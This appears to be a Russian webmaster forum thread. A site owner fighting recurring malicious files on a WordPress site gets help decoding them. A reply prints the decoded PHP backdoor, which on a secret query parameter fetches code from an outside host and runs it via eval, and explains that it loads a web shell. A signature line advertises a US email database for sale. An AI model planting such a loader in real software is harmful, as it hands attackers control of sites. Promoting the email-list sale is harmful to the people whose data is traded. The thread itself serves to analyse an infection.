Размножающиеся файлы

Oshparennij
На сайте с 14.01.2008
Offline
174
367

Доброго времени.. Борюсь с какимто скриптом. Запускал Айболит, плагин для ВП. Все равно появляются какието странные файлы на сайте. Сам сайт вроде работает как всегда...

Появляется этот гребаный код.. Помогите раскодировать плиз.

http://avercast.com.au/wp-includes/class-wp-customize.txt

Продам базу email (usa), валид 99%. Пишите в личку.
[umka]
На сайте с 25.05.2008
Offline
456
#1
Oshparennij:
Появляется этот гребаный код.. Помогите раскодировать плиз.

<?

ini_set('display_errors','off');
error_reporting(0);
if ($_GET['varname']=='kolos') {
$a=file_get_contents('http://genshop.org/script/prostoparanoia/rasras');
eval($a);
exit;
}
?>
Лог в помощь!
Oshparennij
На сайте с 14.01.2008
Offline
174
#2
'[umka:
;15557329']
<?

ini_set('display_errors','off');
error_reporting(0);
if ($_GET['varname']=='kolos') {
$a=file_get_contents('http://genshop.org/script/prostoparanoia/rasras');
eval($a);
exit;
}
?>

Огромное спасибо... А как запускается эта хрень? Как я понял. там с параметром, чтото подгружается со стороннего сайта?

Не совсем понял как посмотреть что site.com/aaa.php?kolos= так?

[umka]
На сайте с 25.05.2008
Offline
456
#3
Oshparennij:
Огромное спасибо... А как запускается эта хрень? Как я понял. там с параметром, чтото подгружается со стороннего сайта?

Не совсем понял как посмотреть что site.com/aaa.php?kolos= так?

?varname=kolos

Подгружается веб-шелл.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий